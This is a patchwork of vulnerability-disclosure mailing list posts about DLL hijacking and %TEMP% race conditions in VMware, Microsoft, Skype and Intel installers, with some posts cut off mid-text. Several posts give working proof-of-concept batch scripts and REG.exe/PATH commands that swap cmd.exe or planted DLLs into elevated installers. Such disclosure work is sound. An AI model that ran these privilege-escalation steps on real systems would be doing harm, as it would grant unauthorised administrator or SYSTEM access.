"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto
:LOOP2
Copy "%COMSPEC%"
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe"
:LOOP3
Copy "%COMSPEC%"
"%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe"
If ERRORLEVEL 1 Goto :LOOP3
--- EOF ---
2. fetch the executable installer VMware-player-12.5.9-7535481.exe;
3. start the batch script created in step 1, then run the executable
installer: notice the error message from the Windows Installer,
and the start of the command processor with administrative rights!
B) "denial of service":
---
1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning
"deny execution of files in this directory for everyone, inheritable
to files in all subdirectories" to the user's %TEMP% directory;
2. fetch the executable installer VMware-player-12.5.9-7535481.exe
and run it: admire the MISLEADING wrong error message
"The installer could not load a required DLL"!
C) "denial of service":
---
1. create a(n empty) file
%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup
2. create the directory C:\VMwareTemp and the (empty) file
C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup
3. fetch the executable installer VMware-player-12.5.9-7535481.exe
and run it: admire the MISLEADING wrong error message
"Not enough space"!
Mitigations:
1. DON'T use executable installers; stay far away from such
eternally vulnerable crap!
2. NEVER run executable installers from UNSAFE directories like
"%USERPROFILE%\Downloads\" or "%TEMP%\"
DISABLE execution of files (as shown above) in %USERPROFILE%!
3. Practice STRICT privilege separation: use a your privileged
"Administrator" account (especially the account created during
Windows setup) ONLY for administrative tasks, and COMPLETELY
separate unprivileged user accounts, with elevation requests
DISABLED. for your daily/regular work.
stay tuned
Stefan Kanthak
PS: also see <http://seclists.org/bugtraq/2018/Aug/0>
Timeline:
~
2018-06-03vulnerability report(s) sent to vendor
2018-06-13vendor acknowledged receipt:
"We will look into this and provide feedback in due course."
2018-06-14vendor replies:
"It is my understanding that Workstation Player 12.x has
since reached end of general support (in February of 2018)
as per our Lifecycle Product Matrix
<https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."
2018-08-02report published
CVE-2016-7085 NOT fixed in VMware-player-12.5.9-7535481.exe
Hi @ll, on February 13, 2016, I sent a vulnerability report regarding the then current executable installer of VMware-player 7.1.3 to its vendor. On September 14, 2016, VMware published <http://blogs.vmware.com/security/2016/09/vmsa-2016-0014.html> and <http://www.vmware.com/security/advisories/VMSA-2016-0014.html> I was NOT AMUSED that it took 7 month to fix this beginner's error. In January 2018, VMware published VMware-player-12.5.9-7535481.exe, available via <https://www.vmware.com/go/downloadplayer> from <https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>, which shows this vulnerability again (plus THREE others), again allowing arbitrary code execution WITH escalation of privilege! Apparently VMware's developers haven't heard of regression tests yet, and their QA (if they have one) seems sound asleep! On a fully patched Windows 7 SP1, VMware-player-12.5.9-7535481.exe loads CredSSP.dll, WSHTCPIP.dll, WSHIP6.dll and RASAdHlp.dll from its "application directory", typically the user's "Downloads" directory "%USERPROFILE%\Downloads", instead from Windows' "system directory" "%SystemRoot%\System32". For this well-known and well-documented vulnerability see <https://cwe.mitre.org/data/definitions/426.html> and <https://cwe.mitre.org/data/definitions/427.html> plus <https://capec.mitre.org/data/definitions/471.html>. The application manifest embedded in VMware-player-12.5.9-7535481.exe specifies "requireAdministrator", so any (rogue) DLL placed by the unprivileged user in the "Downloads" directory is executed with administrative rights, resulting in arbitrary code execution WITH escalation of privilege. CVSS v3 Base Score: 8.2 (High) CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H CVSS v2 Base Score: 7.8 AV:L/AC:M/Au:N/C:C/I:C/A:C Demonstration/proof of concept: ~~~ 1. follow the instructions from <https://skanthak.homepage.t-online.de/minesweeper.html> and build a minefield of 32-bit forwarder DLLs in your "Downloads" directory; 2. download <https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>, and save it in your "Downloads" directory; 3. execute VMware-player-12.5.9-7535481.exe: notice the message boxes displayed from the DLLs built in step 1! stay tuned (and FAR away from ALL executable installers!) Stefan Kanthak Timeline: ~ 2018-06-03vulnerability report(s) sent to vendor 2018-06-13vendor acknowledged receipt: "We will look into this and provide feedback in due course." 2018-06-14vendor replies: "It is my understanding that Workstation Player 12.x has since reached end of general support (in February of 2018) as per our Lifecycle Product Matrix <https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>." 2018-08-01report published
Defense in depth -- the Microsoft way (part 56): 10+ year old security update installers are susceptiblle to 20+ year old vulnerability
rity/sir/>, from 50% to 75% of all about 600 million Windows installations which provide telemetry data have only one active user account. Since the "application manifest" embedded in VS10SP1-KB4336919-x86.exe specifies "requireAdministrator", the first vulnerability then results in arbitrary code execution WITH escalation of privilege. Mitigations: 1. DON'T use executable installers; stay far away from such crap! 2. NEVER run executable installers from UNSAFE directories like "%USERPROFILE%\Downloads\" or "%TEMP%\" 3. Exercise STRICT privilege separation: use your privileged "Administrator" account (especially the account created during Windows setup) only for administrative tasks, and a COMPLETELY separate unprivileged "standard user" account for your own tasks. stay tuned Stefan Kanthak
Defense in depth -- the Microsoft way (part 55): new software built with 5.5 year old tool shows 20+ year old vulnerabilities
olset
<http://robmensching.com/blog/posts/2012/12/24/wix-v3.7-released/>,
MBAM2.5_X64_Server_KB4340040.exe has the same well-known and well-
documented vulnerabilities too.
See <https://www.firegiant.com/blog/2016/1/20/wix-v3.10.2-released/>
and subsequent security advisories from the creators of Wix toolset.
Microsofts developers are most obviously UNABLE (or INCAPABLE?) to
even keep their production environment up-to-date!
Their managers most obviously don't care too, and their QA seems
sound asleep.
5. MBAM2.5_X64_Server_KB4340040.exe extracts its payload, the real
installer, into an UNPROTECTED subdirectory of %TEMP% using the
hard-coded name "{cf45df76-7d9e-499f-8d93-64ec3ee76e20}" and
executes it ELEVATED.
The UNPROTECTED subdirectory allows modification of the extracted
files between creation and use, resulting in elevation of privilege
(or denial of service).
Demonstration/proof of concept:
~~~
a) add the NTFS ACE "(D;OIIO;WP;;;WD)" to your %TEMP% directory;
the ACE means "deny execution of files in this subdirectory for
everyone, inheritable to files in all subdirectories".
b) execute MBAM2.5_X64_Server_KB4340040.exe: notice its SILENT
failure.
c) create the following batch script in an arbitrary directory:
--- kb4340040.cmd ---
:LOOP
@If Not Exist "%TEMP%\{cf45df76-7d9e-499f-8d93-64ec3ee76e20}" Goto :LOOP
Rem Add some more loops here which wait for the creation of files
Rem to be overwritten, and some copy commands to overwrite them ...
--- EOF ---
d) run the batch script, then execute MBAM2.5_X64_Server_KB4340040.exe
Mitigations:
1. DON'T use executable installers; stay far away from such crap!
2. NEVER run executable installers from UNSAFE directories like
"%USERPROFILE%\Downloads\" or "%TEMP%\"
3. Exercise STRICT privilege separation: use your privileged
"Administrator" account (especially the account created during
Windows setup) only for administrative tasks, and a COMPLETELY
separate unprivileged "standard user" account for your own tasks.
stay tuned
Stefan Kanthak
[CVE-2018-3667, CVE-2018-3668] Escalation of priviilege via executable installer of Intel Processor Diagnostic Tool
rent working directory can be removed from the executable search path: <https://msdn.microsoft.com/en-us/library/ms684269.aspx> The batch script setup.bat calls setup.exe and setup64.exe without a path, so the command processor doesn't find the extracted setup.exe and setup64.exe in its CWD and searches them via %PATH%. %PATH% is under full control of the unprivileged user, who can create rogue setup.exe and setup64.exe in an arbitrary directory he adds to the %PATH%, resulting again in arbitrary code execution with escalation of privilege. For this well-known and well-documented vulnerability see <https://cwe.mitre.org/data/definitions/426.html> and <https://cwe.mitre.org/data/definitions/427.html> plus <https://capec.mitre.org/data/definitions/471.html>. Proof of concept/demonstration: ~~~ 1. start an unprivileged command prompt in an arbitrary directory where the unprivileged user can create files, for example the user's "Downloads" directory; 2. add this (current working) directory to the user's PATH: PATH %CD%;%PATH% REG.exe Add HKCU\Environment /V PATH /T REG_SZ /D "%CD%" /F 3. copy the command processor %COMSPEC% (or any rogue executable of your choice) as setup.exe and setup64.exe into the current (working) directory: COPY %COMSPEC% "%CD%\setup.exe" COPY %COMSPEC% "%CD%\setup64.exe" 4. set the environment variable NoDefaultCurrentDirectoryInExePath to an arbitrary value: SET NoDefaultCurrentDirectoryInExePath=* REG.exe Add HKCU\Environment /V NoDefaultCurrentDirectoryInExePath /T REG_SZ /D "*" /F 5. execute IPDT_Installer_4.1.024.exe per double-click: notice the command processor started instead of the extracted executable installers, running with administrative privileges. #4 Escalation of privilege through DLL search order hijacking = The extracted executable installers setup.exe and setup64.exe, built with the crapware known as InstallShield, load multiple Windows system DLLs from their "application directory" %TEMP% instead from Windows' "system directory" %SystemRoot%\System32\ To quote Raymond Chen <https://blogs.msdn.microsoft.com/oldnewthing/20121031-00/?p=6203> | a rogue DLL in the TEMP directory is a trap waiting to be sprung. An unprivileged attacker running in the same user account can copy rogue DLLs into %TEMP%; these are loaded and their DllMain() routine executed with administrative privileges, once more resulting in arbitrary code execution with escalation of privilege. For this well-known and well-documented vulnerability see <https://cwe.mitre.org/data/definitions/426.html> and <https://cwe.mitre.org/data/definitions/427.html> plus <https://capec.mitre.org/data/definitions/471.html>. Proof of concept/demonstration: ~~~ 1. follow the instructions from <https://skanthak.homepage.t-online.de/minesweeper.html> and build a minefield of forwarder DLLs in your %TEMP% directory; NOTE: if you can't or don't want to build the minefield, download <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL> and save it as UXTheme.dll, DWMAPI.dll, NTMARTA.dll and MSI.dll in your %TEMP% directory. 2. execute IPDT_Installer_4.1.0.24.exe: notice the message boxes displayed from the DLLs built in step 1! NOTE: on a fully patched Windows 7 SP1, setup64.exe loads at least the following 32-bit DLLs from %TEMP%: UXTheme.dll, Version.dll, NTMARTA.dll and MSI.dll Due to its filename, setup.exe additionally loads WinMM.dll, SAMCli.dll, MSACM32.dll, SFC.dll, SFC_OS.dll, DWMAPI.dll and MPR.dll. Fix: 1. DUMP all those forever vulnerable executable installers and self-extractors; provide an .MSI package or an .INF script plus a .CAB archive instead! 2. NEVER use an unqualified filename to execute/load an application or a DLL, ALWAYS specify their fully qualified pathname! Mitigations: 1. DON'T execute executable self-extractors. 2. NEVER execute executable self-extractors with administrative privileges. 3. extract the payload of the self-extractor with a SAFE and SECURE unzip.exe into a properly protected directory. 4. exercise STRICT privilege separation: use separate unprivileged user accounts and privileged administrator account, DISABLE the "security theatre" UAC in the unprivileged user accounts. stay tuned Stefan Kanthak PS: the "portable executable" IPDT_Installer_4.1.024.exe has an export directory, but does NOT export any symbols: both the numbers of
[ADV170017] Defense in depth -- the Microsoft way (part 54): escalation of privilege during installation of Microsoft Office 20xy
Hi @ll, during installation of Microsoft Office 2003 and newer versions as well as single components of Microsoft Office products, the executable of the "Office Source Engine", ose.exe, is copied as "%TEMP%\ose0.exe" and then executed with elevated privileges. %TEMP% is writable by unprivileged users, using it to store and then run vulnerable executables with elevated privileges is a well-known and well-documented beginner's error: see <https://cwe.mitre.org/data/definitions/377.html> and <https://cwe.mitre.org/data/definitions/379.html>. plus <https://capec.mitre.org/data/definitions/29.html> JFTR: when a (unattended) installation of Microsoft Office is run under SYSTEM account, %TEMP% resolves to %SystemRoot%\Temp\ ose.exe is vulnerable to DLL hijacking: it loads multiple Windows system DLLs from %TEMP% (its "application directory") instead from Windows' "system directory" %SystemRoot%\System32\ Dll hijacking is a well-known and well-documented vulnerability: see <https://cwe.mitre.org/data/definitions/426.html> and <https://cwe.mitre.org/data/definitions/427.html>, plus <https://capec.mitre.org/data/definitions/471.html> Microsoft published plenty advice/guidance to avoid this beginner's error: <https://msdn.microsoft.com/en-us/library/ff919712.aspx>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks> and <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/> ... which their own developers and their QA but seem to ignore! Proof of concept: ~ On a fully patched Windows 7 SP1 1. fetch <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL> and save it as RSAEnh.dll and/or CryptBase.dll in your %TEMP% directory. 2. start the installation of Microsoft Office 2010: use for example a product DVD or the installers X17-22390.exe/X17-75062.exe available from MSDN or (via <http://www.office.com/backup>) from <https://go.microsoft.com/fwlink/p/?LinkID=403713> 3. notice the message boxes displayed from the DLLs saved in %TEMP%! stay tuned Stefan Kanthak PS: be sure to read <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170017> and update your installation media! Timeline: ~ 2017-03-12vulnerability report sent to Microsoft 2017-03-13reply from Microsoft: "case 37732 opened" 2017-05-13query from Microsoft, asking for acknowledgement information 2017-05-13sent acknowledgement information to Microsoft 2017-09-30notification from Microsoft: "We have completed our investigation related to the fix for this issue and will be releasing defense-in-depth fix in our Oct patch Tuesday release." 2017-10-16notification from Microsoft: "this issue was fixed as-planned on 10/10" 2017-10-16requested information about CVE identifier(s) assigned 2017-10-19reply from Microsoft: "no CVE identifier assigned; this is a defense-in-depth fix, which we dont consider as vulnerability. In this case, ose.exe is operating by-design to search the application directory for DLLs. Unfortunately this does enable the planting of malicious DLLs in the install directory, as you mentioned. Because the behavior was by-design, we didn't issue a CVE. We did, however, improve product functionality here in order to mitigate the issue." 2017-10-19OUCH: no, you did NOT fix this vulnerability! On a fully patched Windows 7 SP1, the "fixed" OSE.EXE for Office 2010 still loads Version.dll, WinHTTP.dll and WebIO.dll from its application directory, and the "fixed" OSE.EXE for Office 2013 still loads Version.dll; only the fixed OSE.EXE for Office 2016 seems not to be vulnerable any more: is has NO load-time dependency, only runtime dependencies. You also failed to provide fixed installation media! 2017-10-20reply from Microsoft: "the Defense-in-Depth fix was to modify the installation process to restrict ose.exe such that it only searches System folders, and does not search %TEMP% for DLLs or load them from this folder." 2017-10-20longer mail about their misconceptions, the difference between (implicit) load-time and (expicit) runtime linking, and several proposals how to REALLY fix this vulnerability sent to Microsoft 2017-10-21reply from Microsoft:
Defense in depth -- the Microsoft way (part 53): our MSRC doesn't know how Windows handles PATH
Hi @ll,
on their "Security Research & Defense" blog, members of Microsoft's
Security Response Center recently posted
<https://blogs.technet.microsoft.com/srd/2018/04/04/triaging-a-dll-planting-vulnerability/>
This blog post but clearly shows that the MSRC doesn't know how Windows
handles the PATH!
Error #1
| The directories that are in the PATH environment variable are always
| admin ACLed and a normal user can't modify contents of these directories.
...
| What Microsoft won't address (not a vulnerability)
| PATH directory scenarios - Since there can't be a non-admin directory in
| the PATH this can't be exploited.
OUCH!
The user can modify the PATH environment variable as s/he likes and add
arbitrary directories!
1) Start a command prompt, then run the following commands:
MKDIR "%SystemDrive%\fubar"
PATH %SystemDrive%\fubar;%PATH%
START %ComSpec% /K PATH
2) The PATH environment variable is built during user logon from the
system's PATH, stored in the registry entry
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Environment]
"PATH"=expand:"%SystemRoot%\\System32;%SystemRoot%;%SystemRoot%\\System32\\WBEM;..."
plus the user's PATH, stored in the registry entry
[HKEY_CURRENT_USER\Environment]
"PATH"=expand:";..."
To add one or more arbitrary user-controlled directories to this
persistent PATH, set the latter registry entry, for example via
control panel.
When a user does this, control panel broadcasts a WM_SETTINGCHANGE
to all applications.
Especially Windows' File Explorer (the "shell") rebuilds the PATH
environment variable upon receiving this broadcast!
3) To add one or more arbitrary user-controlled directories to an
applications PATH, create the registry entry
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App
Paths\]
"PATH"=";..."
See <https://msdn.microsoft.com/en-us/library/ee872121.aspx>
Error #2
| 6. The directories that are listed in the PATH environment variable.
|Note that this does not include the per-application path specified
|by the App Paths registry key. The App Paths key is not used when
|computing the DLL search path.
OUCH!
The per-application path stored beneath the "App Paths" registry key is
prepended (NT 5.x and below) or appended (NT 6.x and above) to the PATH
environment variable when an application is started via one of the
ShellExecute*() functions.
Error #3
| DLL planting issues that fall into the category of PATH directories
| DLL planting are treated as won't fix.
OUCH!
The MSRC also ignores the fact that
CHDIR ""
START
is equivalent to adding "" in front of the PATH!
JFTR: loading of DLLs from the CWD can be disabled via
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"CWDIllegalInDllSearch"=dword:
(see <https://support.microsoft.com/en-us/help/2264107>)
stay tuned
Stefan Kanthak
Re: [FD] Defense in depth -- the Microsoft way (part 51): Skype's home-grown updater allows escalation of privilege to SYSTEM
"Jeffrey Walton" <noloa...@gmail.com> wrote: > On Fri, Feb 9, 2018 at 1:01 PM, Stefan Kanthak <stefan.kant...@nexgo.de> > wrote: [ http://seclists.org/fulldisclosure/2018/Feb/33 ] > Not sure if this is related, but: > https://winbuzzer.com/2018/02/14/microsoft-just-killed-skype-classic-response-unfixable-security-bug-xcxwbn/ This is of course related: after Zack Whittacker published <https://www.zdnet.com/article/skype-cannot-fix-security-bug-without-a-massive-code-rewrite/> some hundred news outlets, bloggers etc. followed up. Except Zack Whittacker nobody contacted me. Many copied his article, some others added their own and wrong interpretation, even pure fiction, like this "WinBuzz": | Microsoft today squashed a bug that was found in Skype's updater | process earlier this week. Wrong. I reported the vulnerability 5 months ago. And Microsoft WONTFIX this vulnerability in Skype 7.x JFTR: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5720> also WONTFIX [ pure speculation removed ] | It seems Microsoft found an alternative to rewriting code and fixing | Skype. the company has decided to effectively kill off the classic | app. The older version of Skype is no longer available anywhere as a | download. Really? Microsoft Update still offers the "classic" Skype for Windows alias Skype Desktop Client: on Windows 7 (which still has the largest market share) open Windows' control panel, go to Windows Update, switch to Microsoft Update (if not done before), and find KB2876229 "Skype for Windows (7.30.0.101)" beyond the optional updates. For those who don't want to or can not start Microsoft Update: the Microsoft Update Catalog offers this and two older versions too <https://www.catalog.update.microsoft.com/search.aspx?q=kb2876229> In <https://support.microsoft.com/en-us/kb/2876229> Microsoft states: | Skype releases new versions of Skype for Windows throughout the year. | To help you stay current with new functionality| and features of the | Skype experience, Skype is available through Microsoft Update. ... | you will receive the latest version of Skype through Microsoft Update. NO, you DON'T get the latest version of Skype there! And Skype doesn't use Microsoft Update to deliver updates. Microsoft had well over 100 days since they closed MSRC case 40550 to fix this ... stay tuned Stefan Kanthak
Defense in depth -- the Microsoft way (part 52): HTTP used to distribute (security) updates, not HTTPS
Hi @ll, yesterdays "Security update deployment information: February 13, 2018" <https://support.microsoft.com/en-us/help/20180213> links the following MSKB articles for the security updates of Microsoft's Office products: <https://support.microsoft.com/kb/4011715> <https://support.microsoft.com/kb/4011200> <https://support.microsoft.com/kb/3114874> <https://support.microsoft.com/kb/4011707> <https://support.microsoft.com/kb/4011711> <https://support.microsoft.com/kb/4011690> <https://support.microsoft.com/kb/4011697> <https://support.microsoft.com/kb/4011701> <https://support.microsoft.com/kb/3172459> <https://support.microsoft.com/kb/4011143> <https://support.microsoft.com/kb/4011686> <https://support.microsoft.com/kb/4011682> <https://support.microsoft.com/kb/4011680> Alternatively use yesterdays "February 2018 updates for Microsoft Office" <https://support.microsoft.com/en-us/help/4077965> and all the MSKB articles linked there, which are a superset of those named above. Each of these MSKB articles in turn contains one or two links to the download pages for the updates, which except 2 (of 22) are of the form <http://www.microsoft.com/downloads/details.aspx?familyid=GUID> (despite the HTTPS: used for the MSKB articles), ie. they use HTTP instead of HTTPS, inviting to MitM attacks, ALTHOUGH the server www.microsoft.com supports HTTPS and even redirects these requests to <https://www.microsoft.com/downloads/details.aspx?familyid=GUID>! JFTR: this bad habit is of course present in ALMOST ALL MSKB articles for previous security updates for Microsoft's Office products too ... and Microsoft does NOT CARE A B^HSHIT about it! Microsoft also links all the MSKB articles for their Windows security updates, for example <https://support.microsoft.com/kb/4074595>, in their "Security update deployment information: , ". Allmost all of these MSKB articles as well as those for Microsoft's Office products (see above) in turn contain a link to Microsoft's "Update Catalog", which ALL are of the form <http://catalog.update.microsoft.com/v7/site/search.aspx?q=4074595> (despite the HTTPS: used for the MSKB articles), ie. they use HTTP instead of HTTPS, inviting to MitM attacks, ALTHOUGH the server catalog.update.microsoft.com [*] supports HTTPS! JFTR: even if you browse the "Microsoft Update Catalog" via <https://www.catalog.update.microsoft.com/Home.aspx> [#], ALL download links published there use HTTP, not HTTPS! That's trustworthy computing ... the Microsoft way! Despite numerous mails sent to <sec...@microsoft.com> in the last years, and numerous replies "we'll forward this to the product groups", nothing happens at all. stay tuned Stefan Kanthak [*] catalog.update.microsoft.com is redirected to catalog.update.microsoft.com/v7/site, which in turn is redirected to www.catalog.update.microsoft.com/, for both HTTP and HTTPS CONNECT https://catalog.update.microsoft.com GET / http/1.1 | HTTP/1.1 302 Found | Cache-Control: private | Content-Length: 125 | Content-Type: text/html; charset=utf-8 | Location: /v7/site | Server: Microsoft-IIS/10.0 | X-AspNet-Version: 4.0.30319 | X-Powered-By: ASP.NET | Date: Wed, 14 Feb 2018 09:42:51 GMT | HTTP/1.1 301 Moved Permanently | Content-Length: 168 | Content-Type: text/html; charset=UTF-8 | Location: https://catalog.update.microsoft.com/v7/site/ | Server: Microsoft-IIS/10.0 | X-Powered-By: ASP.NET | X-Frame-Options: DENY | Date: Wed, 14 Feb 2018 09:42:51 GMT | HTTP/1.1 302 Redirect | Content-Length: 164 | Content-Type: text/html; charset=UTF-8 | Location: https://www.catalog.update.microsoft.com/ | Server: Microsoft-IIS/10.0 | X-Powered-By: ASP.NET | X-Frame-Options: DENY | Date: Wed, 14 Feb 2018 09:42:51 GMT | HTTP/1.1 200 OK | Cache-Control: private | Content-Length: 11135 | Content-Type: text/html; charset=utf-8 | Server: Microsoft-IIS/10.0 | X-AspNet-Version: 4.0.30319 | X-Powered-By: ASP.NET | X-Frame-Options: DENY | Strict-Transport-Security: max-age=31536000; includeSubDomains | Date: Wed, 14 Feb 2018 09:42:53 GMT [#] if your browser attemps to connect to these servers with HTTP/2, it fails: they use a blacklisted cipher suite with HTTP/2, see <https://www.ssllabs.com/ssltest/analyze.html?d=catalog.update.microsoft.com>
Defense in depth -- the Microsoft way (part 51): Skype's home-grown updater allows escalation of privilege to SYSTEM
Hi @ll, since about two or three years now, Microsoft offers Skype as optional update on Windows/Microsoft Update. JFTR: for Microsoft's euphemistic use of "update" see <http://seclists.org/fulldisclosure/2018/Feb/17> Once installed, Skype uses its own proprietary update mechanism instead of Windows/Microsoft Update: Skype periodically runs "%ProgramFiles%\Skype\Updater\Updater.exe" under the SYSTEM account. When an update is available, Updater.exe copies/extracts another executable as "%SystemRoot%\Temp\SKY.tmp" and executes it using the command line "%SystemRoot%\Temp\SKY.tmp" /QUIET This executable is vulnerable to DLL hijacking: it loads at least UXTheme.dll from its application directory %SystemRoot%\Temp\ instead from Windows' system directory. An unprivileged (local) user who is able to place UXTheme.dll or any of the other DLLs loaded by the vulnerable executable in %SystemRoot%\Temp\ gains escalation of privilege to the SYSTEM account. The attack vector is well-known and well-documented as CAPEC-471: <https://capec.mitre.org/data/definitions/471.html> Microsoft published plenty advice/guidance to avoid this beginner's error: <https://msdn.microsoft.com/en-us/library/ff919712.aspx>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://support.microsoft.com/en-us/help/2389418/secure-loading-of-libraries-to-prevent-dll-preloading-attacks> and <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/> ... which their own developers and their QA but seem to ignore! See <https://bugs.chromium.org/p/project-zero/issues/detail?id=440> for the same vulnerability in another Microsoft product! stay tuned Stefan Kanthak Timeline: ~ 2017-09-02vulnerability report sent to vendor 2017-09-03reply from vendor: "MSRC case 40550 opened" 2017-09-06notification from vendor's case manager: "report passed to product group for investigation" 2017-10-27reply from vendor's case manager: "The engineers provided me with an update on this case. They've reviewed the code and were able to reproduce the issue, but have determined that the fix will be implemented in a newer version of the product rather than a security update. The team is planning on shipping a newer version of the client, and this current version will slowly be deprecated. The installer would need a large code revision to prevent DLL injection, but all resources have been put toward development of the new client." 2018-02-09report published
Defense in depth -- the Microsoft way (part 49): fun with application manifests
Hi @ll, Microsoft built several bugs^W^Wfollowing features into the processing of (external) application manifests, i.e. XML files named .exe.manifest which can accompany any portable executable .exe JFTR: the file extension ".exe" is only used per convention; CreateProcess() and Windows module loader execute portable executables independent of their file extension. Feature #1: ~~~ External application manifests must have "execute file" permission (although Windows module loader only reads them). Demonstration/proof of concept: ~~~ On Windows 7, Windows Vista and Windows Embedded POSReady 2009 (alias Windows XP SP3) create empty files CScript.exe.manifest, MSHTA.exe.manifest and/or WScript.exe.manifest in the "system" directory %SystemRoot%\System32\, add the NTFS ACE "(D;;WP;;;WD)" meaning "deny execution for everybody" to these files, then start CScript.exe, MSHTA.exe and/or WScript.exe via Start->Execute or per double-click ... and notice the message box telling you "access denied". The Win32 error code returned by CreateProcess() is indeed ERROR_ACCESS_DENIED On newer versions of Windows, find an arbitrary executable file without embedded application manifest to reproduce this feature. Feature #2: ~~~ The "encoding" XML property of application manifests must have the value UTF-8. Demonstration/proof of concept: ~~~ On Windows XP^WEmbedded POSReady 2009 and newer versions of Windows, create the following perfectly valid XML file: --- dummy.exe.manifest --- --- EOF --- Add it as resource of type 24 alias RT_MANIFEST with index 1 to an arbitrary portable executable, or place it next to a portable executable "dummy.exe" without embedded application manifest, then start "dummy.exe" via Start->Execute or per double-click ... and notice the message box telling you "The application can not be started. ..." The Win32 error code returned by CreateProcess() is ERROR_SXS_CANT_GEN_ACTCTX Replacing US-ASCII with UTF-7, ISO-8859-1, Windows-1252 or any other valid XML encoding except UTF-8 yields the same result. stay tuned Stefan Kanthak
[CVE-2017-5688] Executable installers are vulnerable^WEVIL (case 52): Intel installation framework allows arbitrary code execution with escalation of privilege
Hi @ll,
executable installers built with Intels Installation Framework,
for example "Intel SSD Toolbox - v3.4.3.exe", available from
<https://downloadcenter.intel.com/download/26574>, expose two
vulnerabilities, both resulting in arbitrary code execution
with escalation of privilege.
Vulnerability #1:
~
On a fully patched Windows 7 SP1 they load and execute (at least)
Cabinet.dll, Version.dll, RichEd20.dll, UXTheme.dll or DMWAPI.dll
(on other versions of Windows different DLLs may be affected)
from the directory they are stored (their so-called "application
directory") instead Windows' "system directory"
%SystemRoot%\System32\", resulting in arbitrary code execution.
DLL hijacking is a 20 year old, well-known and well-documented
vulnerability, and a typical (but ubiquituous) beginner's error:
see <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>,
<https://capec.mitre.org/data/definitions/471.html>,
<https://technet.microsoft.com/en-us/library/2269637.aspx>,
<https://msdn.microsoft.com/en-us/library/ff919712.aspx> and
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> plus
<https://skanthak.homepage.t-online.de/!execute.html> for more
documentation!
For software downloaded with a web browser the "application
directory" is typically the user's "Downloads" directory: see
<http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> plus
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>,
<http://seclists.org/fulldisclosure/2012/Aug/134> and
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
Due to the specification "requireAdministrator" in the application
manifest embedded within the executable, installers like
"Intel SSD Toolbox - v3.4.3.exe" run with administrative privileges
("protected" administrators are prompted for consent, unprivileged
standard users are prompted for an administrator password),
resulting in an escalation of privilege!
If (one of) the DLLs named above get(s) planted in the users
"Downloads" directory, for example per "drive-by download", this
vulnerability becomes a remote code execution WITH escalation of
privilege.
Proof of concept/demonstration:
~~~
1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
download
<https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
and save it as Cabinet.dll in your "Downloads" directory, then
copy it as Version.dll, RichEd20.dll, UXTheme.dll and DWMAPI.dll;
2. visit <https://downloadcenter.intel.com/download/26574>, download
<https://downloadmirror.intel.com/26574/eng/Intel%20SSD%20Toolbox%20-%20v3.4.3.exe>
and save it in your "Downloads" directory;
3. execute "Intel SSD Toolbox - v3.4.3.exe" from your "Downloads"
directory;
4. notice the message boxes displayed from the DLLs placed in
step 1: PWNED!
Mitigation & detection:
~~~
* NEVER run executable installers from your "Downloads" directory;
* dump/avoid executable installers, use *.MSI instead!
* see <https://skanthak.homepage.t-online.de/!execute.html> plus
<http://blogs.technet.com/b/srd/archive/2014/05/13/load-library-safely.aspx>
* also see <https://skanthak.homepage.t-online.de/verifier.html>
Vulnerability #2:
~
On EVERY version of Windows these installers create UNSAFE
(sub)directories "%TEMP%\IIF.tmp\", "%TEMP%\IIF.tmp\Lang\"
and "%TEMP%\IIF.tmp\Lang\-\", extract some dozen
DLLs "%TEMP%\IIF.tmp\Lang\-\setup.exe.dll" and load
ALL of them with administrative privileges.
An unprivileged attacker^Wuser can replace these DLLs between their
creation and their use, again resulting in elevation of privilege.
See <https://cwe.mitre.org/data/definitions/377.html> and
<https://cwe.mitre.org/data/definitions/379.html> for this
well-known and well-documented vulnerability.
Proof of concept/demonstration:
~~~
1. visit <https://skanthak.homepage.t-online.de/sentinel.html>,
then download
<https://skanthak.homepage.t-online.de/skanthak/download/SENTINEL.DLL>
and save it in an arbitrary directory;
2. save the following batch script in the same directory:
--- IIF.CMD ---
:WAIT
@If Not Exist "%TEMP%\IIF.tmp" Goto :WAIT
For /D %%! In ("%TEMP%\IIF.tmp") Do Set IIFTMP=%%!
For /R "%IIFTMP%" %%! In (setup.exe.dll) Do Copy SENTINEL.DLL "%%!"
Set IIFTMP=
--- EOF ---
Defense in depth -- the Microsoft way (part 47): "AppLocker bypasses are not serviced via monthly security roll-ups"
